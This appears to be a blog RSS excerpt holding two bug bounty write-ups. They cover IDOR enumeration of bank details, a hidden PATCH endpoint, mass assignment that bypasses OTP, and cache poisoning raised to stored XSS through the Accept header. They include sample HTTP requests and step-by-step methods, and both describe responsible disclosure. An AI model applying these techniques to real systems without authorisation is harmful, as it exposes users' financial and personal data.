<p>It’s like walking into a building with open doors, where each door is labeled with a number, and you can open any door just by knowing its number, even if it’s not your room. This is dangerous because it exposes sensitive information that should be protected.</p>
<p><strong><em>What now?</em></strong> Our API endpoint does not have numeric value? Does it? NO, but we add a random value at the end of API endpoint it will become:</p>
<pre><code class="lang-http"><span class="hljs-attribute">GET /api/payment-method/1 # this 1 is a random number
HOST</span>: domain.company
<span class="hljs-attribute">Authorization</span>: Bearer faketoken1234567890
<span class="hljs-attribute">Content-Type</span>: application/json
</code></pre>
<p>After sending the request, the response was <code>404 Not Found</code> :( no way, it is not vulnerable you may think. But no bro, In the <strong>"Hacking APIs: Breaking Web Application Programming Interfaces"</strong> book by Corey J. Ball, we read that “familiarize yourself with the API's structure and patterns.“ Therefor, when I saw all endpoints I noticed that, every endpoint has a <code>/</code> at the end. I mean all endpoints were like:</p>
<pre><code class="lang-http"><span class="hljs-attribute">GET /api/payment-method/
GET /api/change-name/
GET /api/dashboard/</span>
</code></pre>
<p>So, I told myself Lets add a simple <code>/</code> at the end and send the request and guess what? The response was all bank information of user 1 in the database! NO WAY! by changing the number from 1 to 8k we were able to view all users’ bank details.</p>
<p>HERE is the Screenshot of real request:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730022323468/1b72f65d-89ce-4b88-a32f-0db903e1528a.png" alt class="image--center mx-auto" /></p>
<p>After finding this, I wrote a detailed report and sent it to the program. After about 20 minutes I got a replay saying, “We are working for the fix!”</p>
<p>After 40 mins the severity was changed to <strong>HIGH</strong>, but then it was changed to <strong>CRITICAL</strong>. Asking me if the <code>192.168.1.1</code> IP (this is obviously not mine) belongs to me or not? I confirmed that the IP belongs to me by showing a screenshot. After 10 minutes I was awarded 3000 dollars:) All process took lesser than an hour.</p>
<p>I got confidence and told myself to dig a bit deeper and not change the program because I have a bad habit. After working a week, i change the program which i will urge you and myself to not do it anymore.</p>
<h3 id="heading-second-idor-leads-to-view-users-address">Second, IDOR leads to view users address</h3>
<p>After finding the first bug, I became even more motivated to uncover additional issues. As the saying goes, 'Programmers often make the same mistakes,' and that proved true here. I found another IDOR vulnerability with similar logic on a different endpoint. Although the value wasn’t numeric, it was still a short, random value that I managed to find it. So, lets moved on to the third bug.</p>
<h3 id="heading-third-hidden-api-endpoint-enables-attacker-to-update-bank-provider-name-phone-number">Third, Hidden API endpoint enables attacker to update bank provider, name, phone number</h3>
<p>I found the endpoint within JS files, normally I do not look for endpoints in JS files. I just crawl all functionalities of application while Burp Suite is on in the background and then trough GAP (which is a Burp Suite extension) I find all endpoints, parameters and word.</p>
<p>So, I found some endpoints and tried to fuzz all of them trough intruder. One of them was <code>/api/user/info/</code> endpoint. A note I should add is, I fuzz with all methods e.g. GET, POST, PATCH, PUT and so on.</p>
<p>while fuzzing I got 200 OK for that endpoint with GET request method. the response of my request was my name, phone number, bank provider and some objects. So, i was thinking if I can see the response, I might be able to change them as well. Because there was no functionality to change your details. So, I changed the request method to PATCH and copied all response’s data from previous response and paste it to the request,</p>
<p>When I hit send, I got a 200 OK, indicating the change was successful. To confirm, I updated my name, checked the UI, and found that my name was indeed updated. I was also able to modify my phone number and bank provider with similar success.</p>
<p>At first, I didn’t report this vulnerability, thinking it might not be accepted. But a week later, I decided to submit it, and they awarded me $500 for the finding!"</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730283201847/35b34d2e-6db9-4586-b15b-bbaef49e3ac6.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-forth-mass-assignment-leads-to-bypass-phone-verification-updating-it-and-updating-name-address">Forth, Mass assignment leads to Bypass phone verification, updating it and updating Name, Address</h3>
<p>While hunting keep in mind that you should click on any functionality, navigate to every part of application. In my case I found an endpoint which was responsible to update users’ address. Investigating the Request, I noticed there are <code>first_name</code>, <code>last_name</code> , <code>phone_number</code> fields. While changing them from <code>null</code> to a random value, I got the 200 OK, response with applied changes. I should say that, there was no functionality to change our names so, it was one impact. but the real impact was that we could enter our number without verifying it (by OTP). I wrote a report and it was accepted as a medium severity vulnerability. Bellow I attach the request.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1730299467659/cc0eaf67-0f71-403c-88d1-d6efbfd0dc96.png" alt class="image--center mx-auto" /></p>
<p>I have already found an Open Redirect on this app, but i have not reported it yet. because it is out of scope. The good news is, “the application is being updated” (according to its help section). So, I am monitoring it regularly to see if there is a new functionality or not.</p>
<h3 id="heading-final-words">Final Words</h3>
<p>Do not waste your time finding subdomains. just focus on main applications. So I hope you find it insightful. Be Happy, Be Nice.</p>
<p>See ya :)</p>
]]></content:encoded></item><item><title><![CDATA[Cache Poisoning Leads to Stored XSS: Manipulation of Response via Accept Header]]></title><description><![CDATA[Introduction
Hi everyone,
This is my very first write-up in my bug bounty journey, which began in January 2023.
Let me introduce myself: I’m Ali Hussainzada, a 21-year-old senior Computer Science student and part-time bug hunter, known online by the ...]]></description><link>https://blog.koalasec.co/cache-poisoning-leads-to-stored-xss-manipulation-of-response-via-accept-header</link><guid isPermaLink="true">https://blog.koalasec.co/cache-poisoning-leads-to-stored-xss-manipulation-of-response-via-accept-header</guid><dc:creator><![CDATA[Ali Hussainzada]]></dc:creator><pubDate>Wed, 11 Sep 2024 17:34:46 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1726075997706/4ba9b161-87c3-48ef-b691-3844fee0fa4a.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-introduction">Introduction</h2>
<p>Hi everyone,</p>
<p>This is my very first write-up in my bug bounty journey, which began in January 2023.</p>
<p>Let me introduce myself: I’m Ali Hussainzada, a 21-year-old senior Computer Science student and part-time bug hunter, known online by the pseudonym Amir Shah.</p>
<p>This write-up details an XSS vulnerability I discovered in collaboration with my friend Saboor Hakimie. He recently earned his CPTS certification from HTB—congratulations to him!</p>
<h2 id="heading-the-bug">The Bug</h2>
<p>Without further ado, let’s dive into the vulnerability.</p>
<p>I was invited to a private program on HackerOne, which we’ll refer to as <a target="_blank" href="http://company.com">company.com</a>. After discovering a one-click account takeover and some informative bugs :), I decided to explore subdomains. I generally start with the main apps, then I focuse on subdomains.</p>
<p>I identified a subdomain, <a target="_blank" href="http://sub.company.com">sub.company.com</a>, where the response code was not 200 OK. Despite this, I performed fuzzing to find a directory. I discovered a path that returned our User-Agent and IP address (/home/info). By proxying the request through Burp Suite and modifying my User-Agent, I observed that the changed User-Agent was reflected in the response. However, I encountered two issues:</p>
<ol>
<li><p>The response was text/plain, meaning that if we injected an XSS payload, it would not execute.</p>
</li>
<li><p>The injected text was self-reflected, which limited its impact. we had to find a way to deliver it to victims.</p>
</li>
</ol>
<p>Noting that the subdomain was behind a CDN, I considered the possibility of cache poisoning. I modified the endpoint to a cacheable request by adding a static extension like .js, resulting in a request such as <a target="_blank" href="http://sub.company.com/home/info/something.js"><code>sub.company.com/home/info/something.js</code></a> This solved the first challenge, but I still needed to escalate to something more severe, like XSS.</p>
<p>Here’s where my friend stepped in. During a call, he asked about the HTTP request header needed to alter the response. Without waiting for my response (I did not know though), he changed the Accept header to <code>text/html</code> (i.e., <code>Accept: text/html</code>). To our surprise, the response was transformed into HTML, enabled us to inject our payload and get XSS.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1726116935126/e0a8ac2e-8519-4c44-8b3a-c23f0afcf033.png" alt class="image--center mx-auto" /></p>
<p>Below, I’ve attached a screenshot of the original report with step-by-step reproduction details, so you can thoroughly understand the bug.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1726073907811/3e0c40fa-0f3f-4d84-9a18-52336d0d1222.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-bounty">Bounty</h2>
<p>The bug has been fixed, and I received a $1,250 reward. We split the bounty, but the company has not yet paid Saboor his portion. The original payout is $2,500, and we've been waiting since March.</p>
<h2 id="heading-takeaway">Takeaway</h2>
<p>The key takeaway here is that we can sometimes change the response (a tip I recently came across in the <em>API Hacking</em> book). At that time, this was new to me, but I hope you all find it helpful.</p>
<h2 id="heading-best">Best</h2>
<p>I hope you enjoyed and learned something new from this article I look forward to seeing your happiness and success, so please send your positive vibes my way. :)</p>
<p>Thanks for reading, sharing and everything that I don't know.</p>
<p>What’s next? Who knows? But, i decided to write more about my findings :)</p>
<p>Oh, I found a similar issue on a subdomain where I can inject my payload into the User-Agent, but it’s self-reflected and i was not able to cache it, If anyone has any ideas or wants to collaborate, feel free to DM me on Twitter<br /><a target="_blank" href="https://twitter.com/ali_4fg">My Twitter</a></p>
]]></content:encoded></item></channel></rss>